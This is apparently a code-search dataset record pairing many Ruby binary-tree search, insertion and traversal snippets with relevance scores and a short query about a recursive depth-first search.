else\n left_node = find(root.left, data)\n if left_node\n left_node\n else\n right_node = find(root.right, data)\n right_node if right_node\n end\n end\n end", "def find(root, data)\n if root.nil?\n nil\n else\n if root.title == data\n root\n elsif root.left != nil\n find(root.left, data)\n elsif root.right != nil\n find(root.right, data)\n end\n end\n end", "def find(root, data)\n if data == nil\n return nil\n elsif root.title == data\n return root\n elsif root.title != data && root.left != nil && root.left.skip == false\n root = root.left\n find(root, data)\n elsif root.title != data && root.right != nil && root.right.skip == false\n root = root.right\n find(root, data)\n else\n root.skip = true\n root = root.parent\n find(root, data)\n end\n end", "def find(root, data)\n if data.nil?\n return nil\n else\n if root.title == data\n return root\n elsif root.left !=nil\n find(root.left,data)\n elsif root.right !=nil\n find(root.right,data)\n end\n end\n end", "def find(root, data)\n # If the root or the data is nil then return nil\n if root.nil? || data.nil?\n return nil\n else\n # If the root title equals the data then return the root info\n if root.title == data\n return root\n # If the root to the left does not equal nil then rerun the the find method and replace the original root with the one on the left.\n # Is this correct?\n elsif root.left != nil\n find(root.left, data)\n # If the root to the right does not equal nil then rerun the the find method and replace the original root with the one on the right.\n # Is this correct?\n elsif root.right != nil\n find(root.right, data)\n end\n end\n end", "def find(root, data)\n if (!root)\n return nil\n end\n if (root.title == data)\n return root\n else\n if (root.right)\n return find(root.right, data)\n end\n if (root.left)\n return find(root.left, data)\n end\n return nil\n end\n end", "def find(root, data)\n node = root\n if !root.nil?\n if root.title != data\n node = find(root.left, data)\n if node.nil?\n node = find(root.right, data)\n end\n end\n end\n return node\n end", "def find(root, data)\n return root if root && root.title == data\n\n found_node = nil\n\n found_node = find(root.left, data) if root.left\n found_node = find(root.right, data) if !found_node && root.right\n\n return found_node\n end", "def find(root, data)\n return nil if root.nil? || data.nil?\n \n if root.title === data\n return root\n elsif root.left\n find(root.left, data)\n elsif root.right\n find(root.right, data)\n end\n end", "def find(root, data)\r\n return nil if data.nil? || root.nil?\r\n if root.title == data\r\n return root\r\n else\r\n node = find(root.left, data)\r\n if node.nil?\r\n node = find(root.right, data)\r\n end\r\n end\r\n return node\r\n end", "def find(root, data)\n if data.nil?\n return nil\n end\n \n if root.nil?\n return nil\n elsif root.title == data\n return root\n else\n find(root.right, data) ||\n find(root.left, data)\n end\n end", "def find(root, data)\n if root.nil?|| data.nil?\n nil\n else\n if root.title == data\n root\n elsif root.left\n find(root.left, data)\n elsif root.right\n find(root.right, data)\n end\n end\n end", "def find(root, data) # data is a title, not a node\n if root.title == data\n # base case, data matches\n return root\n else\n if root.left\n left = find(root.left, data)\n end\n if root.right\n right = find(root.right, data)\n end\n if left\n return left\n elsif right\n return right\n else\n # no match found toward the left or the right\n return nil\n end\n end\n end", "def find(root, data)\n return nil if !root || data === nil\n return root if root.title === data\n if root.left && root.left.title === data\n return root.left\n elsif root.right && root.right.title === data\n return root.right\n elsif find(root.left, data)\n return find(root.left, data)\n elsif find(root.right, data)\n return find(root.right, data)\n end\n end", "def find_without_recursion(data)\n puts 'Tree is empty' and return if @root.nil?\n q = QueueWithLinkedList.new\n q.enqueue(@root)\n found = false\n while !q.isEmpty?\n node = q.dequeue\n found = true if node.data == data\n q.enqueue(node.left) if node.left\n q.enqueue(node.right) if node.right\n end\n return found\n end", "def find_parent(root, data)\n return root if root.id == data.id / 2\n\n ltree = !root.left.nil? ? find_parent(root.left, data) : nil\n return ltree unless ltree.nil?\n\n !root.right.nil? ? find_parent(root.right, data) : nil\n end", "def find(root, data)\n if data == nil || root == nil\n return nil\n end\n\n branch = root\n\n if branch.title == data\n return branch\n else\n root = find_next_leaf(root, branch)\n self.find(root, data)\n end\n\n end", "def find(root, data)\n if root.nil?\n nil \n elsif root.title == data\n return root \n elsif root.right != nil \n find(root.right , data)\n elsif root.left != nil \n find(root.left ,data)\n end\n end", "def find(root, data)\n return false unless root\n return root if root.data == data\n return find(root.left, data) || find(root.right, data)\n end", "def find(root, data)\n if root.title == data\n return root\n end\n left = find(root.left, data) if root.left\n right = find(root.right, data) if root.right\n left or right\n end", "def find(root, data)\n return root if root.rating == data\n\n ltree = !root.left.nil? ? find(root.left, data) : nil\n return ltree unless ltree.nil?\n\n !root.right.nil? ? find(root.right, data) : nil\n end", "def find(root, data)\n return unless root && data \n if root.title != data\n target ||= self.find(root.right, data)\n return target if target\n target ||= self.find(root.left, data)\n else\n return root\n end\n end", "def breadth_first_search(data)\n queue = [@root]\n node_match = nil\n match_found = false\n until queue.empty? || match_found || @root.nil?\n cur_node = queue.first\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n else\n queue.push(cur_node.left_child) unless cur_node.left_child.nil?\n queue.push(cur_node.right_child) unless cur_node.right_child.nil?\n queue.shift\n end\n end\n return node_match\n end", "def findParent(root, data, parent=true)\n if root.title == data\n # base case, data matches\n return parent\n else\n if root.left\n left = findParent(root.left, data, root)\n end\n if root.right\n right = findParent(root.right, data, root)\n end\n if left\n return left\n elsif right\n return right\n else\n # no match found toward the left or the right\n return nil\n end\n end\n end", "def depth_first_search_pre_order_with_debug(data)\n search_order = [] # For Debug output\n stack = [@root]\n node_match = nil\n match_found = false\n until stack.empty? || match_found || @root.nil?\n cur_node = stack.pop\n next_node_value = cur_node.nil? ? \"nil\" : cur_node.value # For Debug output\n search_order << next_node_value # For Debug output\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n end\n right = cur_node.right_child\n stack.push(right) unless right.nil?\n left = cur_node.left_child\n stack.push(left) unless left.nil?\n end\n puts \"Pre_order depth-first search order for nodes visited:\" # For Debug output\n p search_order # For Debug output\n puts \"\\nTotal nodes visited: #{search_order.size}\" # For Debug output\n return node_match\n end", "def breadth_first_search(data)\n node = nil\n @list << @root if @root\n\n until @list.empty?\n # get next node from the queue\n node = @list.shift\n puts \"Visiting node #{node.value}\" if @debug\n break if node.value == data\n # place each child in the queue, from left to right\n @list << node.left if node.left\n @list << node.right if node.right\n end\n @list.clear # remove any remaining items from the queue\n\t node\n end", "def depth_search(data_to_find, node)\n if data_to_find < node.data && node.left\n @depth += 1\n depth_search(data_to_find, node.left)\n elsif data_to_find > node.data && node.right\n @depth += 1\n depth_search(data_to_find, node.right)\n elsif data_to_find == node.data\n @depth += 1\n else\n @depth = 0\n end\n end", "def find(root, data)\n (1...@tree.length).each do |loc|\n if data.title == @tree[loc].title\n return @tree[loc]\n end\n end\n nil\n end", "def find (data)\n current_node = @head\n\n while current_node\n return current_node if current_node.data == data\n current_node = current_node.next\n end\n\n return nil\n end", "def search(data_to_find, node)\n if data_to_find < node.data && node.left\n search(data_to_find, node.left)\n elsif data_to_find > node.data && node.right\n search(data_to_find, node.right)\n elsif data_to_find == node.data\n return true\n else\n return false\n end\n end", "def dfs_rec(data)\n @root.each { |node| return node if data == node.data }\n end", "def dfs_recursive(query, node=@tree) \n return nil if node.nil?\n return node if query == node.value\n\n# left search equals if the left child is not nil then call the method with target & left child node parameters, otherwise is nil\n left_search = node.left_child != nil ? dfs_recursive(query, node.left_child) : nil\n\n# return if left search does not result in nil\n return left_search if left_search != nil\n right_search = node.right_child != nil ? dfs_recursive(query, node.right_child) : nil\n return right_search if right_search != nil \n end", "def find_parent(root, parent_to_find)\n\n if((defined?(root.left.data))) || ((defined?(root.right.data)))\n if(root.right == parent_to_find) || (root.left == parent_to_find) \n return root\n else\n if(parent_to_find < root)\n find_parent(root.left, parent_to_find)\n else\n find_parent(root.right,parent_to_find)\n end \n end\n end \n end", "def find(value, root = @root)\n return nil if root.nil?\n return root if root.data == value\n\n value < root.data ? find(value, root.left) : find(value, root.right)\n end", "def find value, root_node=@root\n case value <=> root_node.data\n when -1\n find(value, root_node.left)\n when 1\n find(value, root_node.right)\n when 0\n return root_node\n else\n return\n end\n end", "def build_tree(data, par_node)\n return nil if data.empty?\n \n if @node.value <= par_node.value\n if par_node.left == nil\n par_node.left = @node\n else\n build_tree(data, par_node.left)\n end\n else\n if par_node.right == nil\n par_node.right = @node\n else\n build_tree(data, par_node.right)\n end\n end\n\n @node = Node.new(data.shift)\n build_tree(data, @root)\n end", "def bst_search(tree, node)\n locator = tree\n parent = nil\n found = false\n while( !found && locator)\n if node.data < locator.node.data\n # descend left\n parent = locator\n locator = locator.left_child\n elsif node.data > locator.node.data\n # descend right\n parent = locator\n locator = locator.right_child\n else\n found = true\n end\n end\n return found, locator, parent\n end", "def depth_first_search(query)\n stack = [@tree]\n\n loop do\n# exit when empty stack\n return nil if stack.empty?\n\n# node is equal to top of stack\n node = stack.pop\n \n# return node if match\n return node if query == node.value\n\n# i think it is pushing every descendant of the parent?\n stack.push node.left_child if node.left_child != nil\n stack.push node.right_child if node.right_child != nil\n end\n end", "def dfs_rec(data, node = @root)\n if node\n puts \"Visiting node #{node.value}\" if @debug\n if data != node.value\n left = dfs_rec(data, node.left)\n if !left\n node = dfs_rec(data, node.right)\n else\n node = left\n end\n end\n end\n node\n end", "def breadth_first_search_with_debug(data)\n search_order = [] # For Debug output\n queue = [@root]\n node_match = nil\n match_found = false\n until queue.empty? || match_found || @root.nil?\n cur_node = queue.first\n next_node_value = cur_node.nil? ? \"nil\" : cur_node.value # For Debug output\n search_order << next_node_value # For Debug output\n if cur_node.value == data\n match_found = true\n node_match = cur_node\n else\n queue.push(cur_node.left_child) unless cur_node.left_child.nil?\n queue.push(cur_node.right_child) unless cur_node.right_child.nil?\n queue.shift\n end\n end\n puts \"Breadth-first search order for nodes visited:\" # For Debug output\n p search_order # For Debug output\n puts \"\\nTotal nodes visited: #{search_order.size}\" # For Debug output\n return node_match\n end", "def insert(data)\n current_node = @root\n if @root\n while current_node != nil\n if data < current_node.data && current_node.left == nil\n current_node.left = TreeNode.new(data)\n elsif data > current_node.data && current_node.right == nil\n current_node.right = TreeNode.new(data)\n elsif data < current_node.data\n current_node = current_node.left\n elsif data >= current_node.data\n current_node = current_node.right\n else\n return\n end\n end\n else\n @root = TreeNode.new(data)\n end\n end", "def depth_first_search(value, stack = [Node.get_root_node])\n node = stack[0]\n\n if !node.value.nil?\n puts \"Searching node #{node.value}...\"\n if node.value == value\n puts \"Found #{value} at node #{node}!\"\n return node\n end\n end\n\n left_child = node.left_child\n right_child = node.right_child\n\n if !left_child.nil?\n puts \"Left child is #{left_child.value}.\"\n else\n puts \"No left child.\"\n end\n\n if !right_child.nil?\n puts \"Right child is #{right_child.value}.\"\n else\n puts \"No right child.\"\n end\n\n if !left_child.nil?\n stack << left_child\n stack.shift\n return node if !depth_first_search(value, stack).nil?\n else\n nil\n end\n\n if !right_child.nil?\n stack << right_child\n stack.shift\n return node if !depth_first_search(value, stack).nil?\n else\n nil\n end\n\nend", "def lookup(data, parent=nil)\n return [self, parent] if data == @data\n if data < @data\n return [nil, nil] if @left.nil?\n @left.lookup(data, self)\n else\n return [nil, nil] if @right.nil?\n @right.lookup(data, self)\n end\n end", "def find(key, node = root)\n return nil if node.nil?\n if key == node.data\n return node\n else\n find(key, left_right(key, node))\n end\n end", "def inorder_traverse(node, data)\n return data if node.nil?\n inorder_traverse(node.left_child, data)\n data << node.value\n inorder_traverse(node.right_child, data)\n end", "def depth_first_search(target)\n return @root if @root.value == target\n search_stack = [@root]\n until search_stack.empty?\n test_node = search_stack.pop\n\n if test_node.value == target\n return test_node\n else\n search_stack << test_node.right_child unless test_node.right_child.nil?\n search_stack << test_node.left_child unless test_node.left_child.nil?\n end\n end\n\n nil\n\tend", "def depth_first_search(target)\n stack = [@root]\n while ! stack.empty?\n node = stack.pop\n if node.value == target\n return node\n else \n if node.value < target && node.right_child != nil\n stack = stack << node.right_child\n end\n if node.value > target && node.left_child != nil\n stack = stack << node.left_child\n end\n end\n end\n return nil\n end", "def depthFirstSearch(target, node)\n\treturn nil if node.nil? # checks if node is nil\n\tif node.data == target\n\t\treturn node\n\telse\n\t\tnode.children.each do |n|\n\t\t\tt = depthFirstSearch(target, n) # checks child for target\n\t\t\tnext if t.nil?\n\t\t\treturn t\n\t\tend\n\tend\n\treturn nil\nend", "def depth_first_search(target)\n stack = Array.new\n stack.push(@root)\n\n while !stack.empty?\n\n element = stack.pop\n\n return element if element.value == target\n\n stack.push(element.leftchild) if !element.leftchild.nil?\n stack.push(element.rightchild) if !element.rightchild.nil?\n\n end\n\n return nil\n end", "def depth_first_search node= self.root, value\n\t\tstack =[node]\n\n\t\twhile stack.length > 0\n\t\t\tcurrent = stack.pop\n\t\t\treturn \"Value #{value} found in #{current.to_s}\" if current.value == value\n\t\t\tstack.push(current.left) if current.left\n\t\t\tstack.push(current.right) if current.right\n\t\tend\n\tend", "def find(value, node = root)\n return node if node.nil? || node.data == value\n \n value < node.data ? find(value, node.left) : find(value, node.right)\n end", "def find(value)\n curr = @root\n while curr\n return curr if curr.data == value\n\n if value < curr.data\n curr = curr.left\n elsif value > curr.data\n curr = curr.right\n end\n end\n curr\n end", "def depth_first_search(value)\n search_stack = [@root_node]\n\n until search_stack.empty?\n curr_node = search_stack.pop\n return curr_node if curr_node.value == value\n search_stack << curr_node.left unless curr_node.left.nil?\n search_stack << curr_node.right unless curr_node.right.nil?\n end\n return nil\n end", "def find(value)\n current_node = @root\n until current_node.nil?\n if current_node.data < value\n current_node = current_node.right_child\n elsif current_node.data > value\n current_node = current_node.left_child\n else\n return current_node\n end\n end\n return nil\n end", "def delete(root, data)\n # finds the data to be deleted and stores as element\n element = find(root, data)\n if element\n # if data was found\n # store what will be the new last index\n last_index = @tree.length - 1\n # store last_index's parent's index\n parent = last_index / 2\n # delete end of tree and store in last_element\n last_element = @tree.pop\n\n # determine if it was a left or right child\n popped_node_was_a_left_child = @tree[parent] && last_index % 2 == 0\n popped_node_was_a_right_child = @tree[parent] && last_index % 2 != 0\n\n # set appropriate child as nil\n if popped_node_was_a_left_child\n @tree[parent].left = nil\n elsif popped_node_was_a_right_child\n @tree[parent].right = nil\n end\n\n # re-set the 'deleted' element's title and rating,\n # effectively removing it and replacing it with what was the last node\n element.title = last_element.title\n element.rating = last_element.rating\n else\n # data was not found, return nil\n return nil\n end\n\n # filter the newly placed node up or down to where it should be in the heap\n filter_down(element)\n filter_up(element)\n end", "def depth_first_search(v)\r\n if @root == nil\r\n puts \"Tree is empty\"\r\n end\r\n queue = [@root]\r\n current_node = @root\r\n while not queue.empty?\r\n current_node = queue[0]\r\n queue.unshift(current_node.left_child) unless current_node.left_child.nil?\r\n queue.unshift(current_node.right_child) unless current_node.right_child.nil?\r\n if current_node.value == v\r\n return \"Found at node \" + current_node.to_s\r\n end\r\n queue.shift\r\n end\r\n return \"Value not found.\"\r\n end", "def delete(data)\n # get node containing data\n node, parent = lookup(data)\n return nil if node.nil?\n\n children_count = node.children_count\n\n if children_count == 0\n # if node has no children, just remove it\n if parent.nil?\n @data = nil\n else\n if parent.left == node\n parent.left = nil\n else\n parent.right = nil\n end\n end\n elsif children_count == 1\n # if node has 1 child, replace node with child\n n = node.left.nil? ? node.right : node.left\n if parent.nil?\n @left = n.left\n @right = n.right\n @data = n.data\n else\n if parent.left == node\n parent.left = n\n else\n parent.right = n\n end\n end\n else\n # Node has 2 children; find its successor\n parent = node\n successor = node.right\n until successor.left.nil?\n parent = successor\n successor = successor.left\n end\n # replace node data by its successor data\n node.data = successor.data\n # fix successor's parent's child\n if parent.left == successor\n parent.left = successor.right\n else\n parent.right = successor.right\n end\n end\n end", "def search( key, node=@root )\n return nil if node.nil?\n if key < node.key\n search( key, node.left )\n elsif key > node.key\n search( key, node.right )\n else\n return node\n end\n end", "def depth_first_search(tree, value)\n tgt_node = nil\n \n stack = Array(tree)\n \n while !stack.empty?\n cur_node = stack.pop\n \n\tif cur_node.value == value\n\t tgt_node = cur_node\n\t break\n\tend\n\t\n\tcur_node.children.reverse_each { |child| stack.push(child) unless child.nil? }\n end\n \n tgt_node\nend", "def depth_of(data_to_find)\n @depth = 0\n if @head.nil?\n return @depth\n else\n depth_search(data_to_find, head)\n end\n return @depth\n end", "def dfs_rec(value, node = Node.get_root_node)\n\n if !node.nil?\n puts \"Searching node #{node.value}\"\n if !node.value.nil?\n if node.value == value\n puts \"Found #{value} at node #{node}!\"\n return node\n end\n end\n else\n nil\n end\n\n left_child = node.left_child\n right_child = node.right_child\n\n if left_child.nil?\n puts \"No left child.\"\n else\n puts \"Left child is #{left_child.value}\"\n end\n\n if right_child.nil?\n puts \"No right child.\"\n else\n puts \"Right child is #{right_child.value}.\"\n end\n\n left_child.nil? ? nil : dfs_rec(value, left_child)\n right_child.nil? ? nil : dfs_rec(value, right_child)\nend", "def find(key)\n return nil if @root.nil?\n\n current = @root\n\n while current != nil\n if key == current.key\n return current.value\n elsif key < current.key\n current = current.left\n else\n current = current.right\n end \n end \n\n return nil\n end", "def find(obj)\n return nil if empty?\n\n root = @root\n while root\n return root if obj == root.obj\n\n if obj < root.obj\n root = root.left\n else\n root = root.right\n end\n end\n end", "def find(key)\n return nil if @root == nil\n\n current = @root\n\n until current == nil\n if key == current.key\n return current.value\n elsif key < current.key\n current = current.left\n else\n current = current.right\n end\n end\n\n return nil\n end", "def depth_search(node, proc)\n res = nil\n counter = 0\n number_of_children = node.children.length\n\n while counter < number_of_children\n return res if res\n\n child = node.children[counter]\n res = proc.call(child)\n return res if res\n\n res = depth_search(child, proc)\n counter += 1\n end\n res\n end", "def dfs(tree)\n # Return the tree if the root value matches the search value\n if @stack[-1].nil?\n return nil\n elsif @stack[-1]['value'] == @value || @stack[-1] == @value\n return @stack[-1]\n end\n \n # Add left tree to the stack if it exists, otherwise the right branch if it exists\n if @stack[-1]['branches']['left'].nil? == false\n @stack << tree['branches']['left']\n dfs(@stack[-1])\n elsif @stack[-1]['branches']['right'].nil? == false\n @stack << tree['branches']['right']\n elsif @stack[-1]['branches']['left'].nil? == false && @stack[-1]['branches']['right'].nil? == false\n @stack.pop\n end\n \n end", "def find(data)\n return nil if @head == nil\n\n index = 0\n found = false\n node = @head\n until node.next_node.nil?\n if node.value == data\n found = true\n break\n end\n index += 1\n node = node.next_node\n end\n\n found = true if node.value == data # to account for the last node\n index = nil unless found\n index\n end", "def preorder_traversal(node=@root)\n return if (node == nil)\n preorder_traversal(node.left)\n preorder_traversal(node.right)\n puts node.value.to_s\n end", "def find(root, val)\n if root.nil?\n nil\n elsif val < root.val\n find(root.left, val)\n elsif val > root.val \n find(root.right, val)\n else\n root\n end\nend", "def find(key, node=@root)\n return nil if @root.nil?\n\n if key < node.key\n find(key, node.left)\n elsif key > node.key\n find(key, node.right)\n else\n return node.value\n end\n end", "def insert_in_bst(root, data)\n if !root\n root = Node.new(data)\n elsif data < root.value\n root.left_child = insert_in_bst(root.left_child, data)\n else\n root.right_child = insert_in_bst(root.right_child, data)\n end\n root\nend", "def preOrder(root) # O(n)\n\n return nil if root == nil\n\n print \" #{root.value}\"\n preOrder(root.left)\n preOrder(root.right)\n\nend", "def find_parent(key, node = root)\n return nil if node.nil?\n key = find(key) if !key.is_a? Node\n if node.left == key || node.right == key\n return node\n else\n find_parent(key, left_right(key.data, node))\n end\n end", "def insert(data)\n node = Node.new(data)\n\n if @size == 0\n @root = node\n else\n parent = @root\n\n loop do\n if data <= parent.value\n if !parent.left # found a leaf node\n parent.left = node # insert here\n break\n else\n parent = parent.left\n end\n else # data > node.value\n if !parent.right # found a leaf node\n parent.right = node # insert here\n break\n else\n parent = parent.right\n end\n end\n end\n end\n\n @size += 1\n end", "def depth_first_search(find,tree)\n current = tree[0]\n answer = \"\"\n stack = [tree[0]]\n visited = [tree[0]]\n \n condition = false\n until condition == true\n connections = [current.find_right_child[0],current.find_left_child[0]].compact\n puts current.value\n puts connections.count\n puts \"---\"\n \n if current.value == find\n answer = current\n condition = true\n elsif visited.count == tree.count\n answer = nil\n condition = true\n else\n if connections.count < 1\n stack.pop\n current = stack[-1]\n elsif connections.count == 1\n if visited.include?(connections[0])\n stack.pop\n current = stack[-1]\n else\n current = connections[0]\n stack.push(current)\n visited.push(current)\n end\n else\n if visited.include?(connections[0]) && visited.include?(connections[1])\n stack.pop\n current = stack[-1]\n elsif !visited.include?(connections[0])\n current = connections[0]\n stack.push(current)\n visited.push(current)\n else\n current = connections[1]\n stack.push(current)\n visited.push(current)\n end\n end\n end\n end\n puts answer ? answer : \"Value not found!\"\n puts answer.value if answer != nil\nend", "def inOrderTraversal( rootNode )\n return if rootNode == nil\n inOrderTraversal( rootNode.leftChild )\n puts rootNode.data\n inOrderTraversal( rootNode.rightChild )\n end", "def find(key)\n return nil if @root.nil?\n\n current = @root\n while current\n if key > current.key\n current = current.right\n elsif key < current.key\n current = current.left\n else\n return current.value\n end\n end\n\n return nil\n end", "def dfs_rec(tree, value)\n return nil if tree.nil?\n\n left = dfs_rec(tree.left, value)\n return left if left && left.value == value\n\n\n right = dfs_rec(tree.right, value)\n return right if right && right.value == value\n\n p tree.value\n return tree if tree.value == value\n\nend", "def search(value, &block)\n work_list = [@root]\n\n while !work_list.empty?\n curr_node = yield(work_list)\n\n unless curr_node.value == value\n work_list << curr_node.left_child unless curr_node.left_child.nil?\n work_list << curr_node.right_child unless curr_node.right_child.nil?\n else\n return curr_node\n end\n end\n\n return nil\n end", "def dfs_rec(tree, value)\n return nil if tree.nil?\n\n p tree.value\n return tree if tree.value == value\n\n left = dfs_rec(tree.left, value)\n return left if left && left.value == value\n\n\n right = dfs_rec(tree.right, value)\n return right if right && right.value == value\n\nend", "def breadth_first_search target_value, root=@root\n return nil if empty?\n\n queue = [root]\n\n until queue.empty?\n current = queue.shift\n\n # Return value if found\n return current if current.value == target_value\n\n # Add children to the queue, if they exist\n queue << current.left unless current.left.nil?\n queue << current.right unless current.right.nil?\n end\n\n # returns nil if value not found\n nil\n end", "def insert node_data, current_node=@root\n # New node to be inserted\n new_node = Node.new(node_data)\n #BC recursion\n # Check for nil node or nil data\n if current_node.nil?\n current_node = new_node\n elsif current_node.data.nil?\n current_node.data = new_node.data\n end\n # Recursively find an empty branch of the tree\n # Where root node is less than or greater than new node\n # and insert it theres\n\n if new_node.data < current_node.data\n if current_node.left.nil?\n current_node.left = new_node\n current_node.left.data = new_node.data\n elsif current_node.left.data.nil?\n current_node.left.data = new_node.data\n else\n insert(node_data, current_node.left)\n end\n elsif new_node.data > current_node.data\n if current_node.right.nil?\n current_node.right = new_node\n current_node.right.data = new_node.data\n elsif current_node.right.data.nil?\n current_node.right.data = new_node.data\n else\n insert(node_data, current_node.right)\n end\n end\n end", "def find(value, current_node = @root)\n # Base case: We found the node or past a leaf node\n return current_node if current_node.nil? || current_node.value == value\n\n return find(value, current_node.left) if value < current_node.value\n\n find(value, current_node.right)\n end", "def insert( data, node = @root, prev_node = nil, child = \"\" ) \n return prev_node.right_child = Node.new( data ) if node.nil? && child == 'right'\n return prev_node.left_child = Node.new( data ) if node.nil? && child == 'left'\n \n if node.data == data\n return node\n elsif data > node.data\n insert(data, node.right_child, prev_node = node, child = 'right')\n elsif data < node.data\n insert(data, node.left_child, prev_node = node, child = 'left')\n end \n end", "def preorder_traverse(root=@root)\n unless !root\n result = \"#{root.data}\"\n result << preorder_traverse(root.left) unless !root.left\n result << preorder_traverse(root.right) unless !root.right\n result\n end\n end", "def find(key)\n current = @root\n\n while current != nil\n if current.key > key\n current = current.left\n elsif current.key < key\n current = current.right\n else\n return current.value\n end\n end\n return nil\n end" ]
[ "0.83905023", "0.81256664", "0.8081075", "0.8005304", "0.79382217", "0.79340684", "0.7888093", "0.78857064", "0.7880151", "0.78092194", "0.77895653", "0.7789275", "0.7777955", "0.7769718", "0.77675", "0.77390414", "0.77325255", "0.77277493", "0.7727203", "0.77218056", "0.7718447", "0.7684102", "0.7683082", "0.76739407", "0.7668389", "0.7668084", "0.7658167", "0.76486397", "0.764353", "0.7631513", "0.7629456", "0.7626828", "0.75986683", "0.75290424", "0.7453151", "0.74105316", "0.73344994", "0.73155963", "0.72522646", "0.6948511", "0.6943317", "0.6829667", "0.6677261", "0.66054094", "0.6597181", "0.6596868", "0.65783834", "0.65755534", "0.6535668", "0.64877015", "0.64344895", "0.638876", "0.6320852", "0.63172925", "0.63025576", "0.629839", "0.6293772", "0.6254421", "0.6244936", "0.62270766", "0.6221046", "0.62184227", "0.6184304", "0.6152019", "0.61476934", "0.6145911", "0.6125748", "0.6114045", "0.6112821", "0.6079886", "0.60683644", "0.60572183", "0.60258645", "0.59864193", "0.5980588", "0.59798986", "0.59782845", "0.5963211", "0.59602594", "0.59439564", "0.59352064", "0.59154785", "0.59118736", "0.58971035", "0.5892109", "0.5871672", "0.5866212", "0.58584595", "0.5854171", "0.5849334", "0.58447176", "0.5838675", "0.58341485", "0.58111477", "0.5804804", "0.5801752", "0.5800836", "0.579324", "0.57884496", "0.5786985" ]
0.6699696
42
Note: alternative version of recursive depthfirst search, but can only be used if the tree is all of the same data type (ie; can't compare strings and integers using '>' or "<", but you can compare integers and floats...that's why I implemented as above...). Would have to preformat arrays used to create the binary tree, to ensure that they are all of the same type.
def show_binary_tree text = tree_levels_text_array puts "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" puts "\nBinary Tree Display:\n " text.each { |row| puts "\n" + row } puts "\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def serialize_binary_search_tree_helper( node, nodes_array)\n \n if node.nil?\n return nil\n end\n \n s_node = Serilized_Node.new(node.value)\n \n nodes_array.push(s_node)\n node_index = nodes_array.size - 1 #the index of the sub tree root\n s_node.left_child_index = serialize_binary_search_tree_helper(node.left, nodes_array)\n s_node.right_child_index = serialize_binary_search_tree_helper(node.right, nodes_array)\n\n \n return node_index\nend", "def build_tree(array)\n first_node = Node.new(nil, nil, array[0])\n this_node = first_node\n i = 1\n\n finished = false\n while !finished\n if array[i] == nil\n finished = true\n elsif array[i] < this_node.data\n if this_node.left_child == nil\n this_node.left_child = Node.new(nil, nil, array[i])\n this_node = first_node\n i += 1\n else\n this_node = this_node.left_child\n end\n elsif array[i] > this_node.data\n if this_node.right_child == nil\n this_node.right_child = Node.new(nil, nil, array[i])\n this_node = first_node\n i += 1\n else\n this_node = this_node.right_child\n end \n elsif array[i] == this_node.data\n i += 1\n end\n end\n return first_node\nend", "def dfs_rec(tree, value)\n return nil if tree.nil?\n\n p tree.value\n return tree if tree.value == value\n\n left = dfs_rec(tree.left, value)\n return left if left && left.value == value\n\n\n right = dfs_rec(tree.right, value)\n return right if right && right.value == value\n\nend", "def depth_first_search(tree, value)\n tgt_node = nil\n \n stack = Array(tree)\n \n while !stack.empty?\n cur_node = stack.pop\n \n\tif cur_node.value == value\n\t tgt_node = cur_node\n\t break\n\tend\n\t\n\tcur_node.children.reverse_each { |child| stack.push(child) unless child.nil? }\n end\n \n tgt_node\nend", "def dfs_rec(tree, value)\n return nil if tree.nil?\n\n left = dfs_rec(tree.left, value)\n return left if left && left.value == value\n\n\n right = dfs_rec(tree.right, value)\n return right if right && right.value == value\n\n p tree.value\n return tree if tree.value == value\n\nend", "def depth_first_search(query)\n stack = [@tree]\n\n loop do\n# exit when empty stack\n return nil if stack.empty?\n\n# node is equal to top of stack\n node = stack.pop\n \n# return node if match\n return node if query == node.value\n\n# i think it is pushing every descendant of the parent?\n stack.push node.left_child if node.left_child != nil\n stack.push node.right_child if node.right_child != nil\n end\n end", "def depth_first_search(find,tree)\n current = tree[0]\n answer = \"\"\n stack = [tree[0]]\n visited = [tree[0]]\n \n condition = false\n until condition == true\n connections = [current.find_right_child[0],current.find_left_child[0]].compact\n puts current.value\n puts connections.count\n puts \"---\"\n \n if current.value == find\n answer = current\n condition = true\n elsif visited.count == tree.count\n answer = nil\n condition = true\n else\n if connections.count < 1\n stack.pop\n current = stack[-1]\n elsif connections.count == 1\n if visited.include?(connections[0])\n stack.pop\n current = stack[-1]\n else\n current = connections[0]\n stack.push(current)\n visited.push(current)\n end\n else\n if visited.include?(connections[0]) && visited.include?(connections[1])\n stack.pop\n current = stack[-1]\n elsif !visited.include?(connections[0])\n current = connections[0]\n stack.push(current)\n visited.push(current)\n else\n current = connections[1]\n stack.push(current)\n visited.push(current)\n end\n end\n end\n end\n puts answer ? answer : \"Value not found!\"\n puts answer.value if answer != nil\nend", "def depth_search(data_to_find, node)\n if data_to_find < node.data && node.left\n @depth += 1\n depth_search(data_to_find, node.left)\n elsif data_to_find > node.data && node.right\n @depth += 1\n depth_search(data_to_find, node.right)\n elsif data_to_find == node.data\n @depth += 1\n else\n @depth = 0\n end\n end", "def dfs_recursive(query, node=@tree) \n return nil if node.nil?\n return node if query == node.value\n\n# left search equals if the left child is not nil then call the method with target & left child node parameters, otherwise is nil\n left_search = node.left_child != nil ? dfs_recursive(query, node.left_child) : nil\n\n# return if left search does not result in nil\n return left_search if left_search != nil\n right_search = node.right_child != nil ? dfs_recursive(query, node.right_child) : nil\n return right_search if right_search != nil \n end", "def main8()\n t = Tree.new()\n arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n t.createBinarySearchTree(arr)\n print(t.ancestor(1, 10).value,\"\\n\")\n # 5\n print(t.ceilBST(5.5),\"\\n\")\n\t# 6\n print(t.floorBST(5.5),\"\\n\")\n\t# 5\n arr1 = [5, 2, 4, 6, 9, 10]\n arr2 = [5, 2, 6, 4, 7, 9, 10]\n print(t.isBSTArray(arr1),\"\\n\")\n print(t.isBSTArray(arr2),\"\\n\")\n # true\n # false\nend", "def bsearch_tree(node, target)\n return target if node == target\n y = nil\n node.each do |x|\n if x.is_a? node.class\n y = bsearch_tree(x, target)\n else\n return target if x == target\n end\n end\n y\nend", "def in_order_traverse(tree, array)\n if !tree.nil?\n in_order_traverse(tree.left, array)\n array.append(tree.value)\n in_order_traverse(tree.right, array)\n end\n return array\n\n\nend", "def build_tree(data_array)\n root = nil\n \n data_array.each do |elem|\n cur_node = root\n \n node = 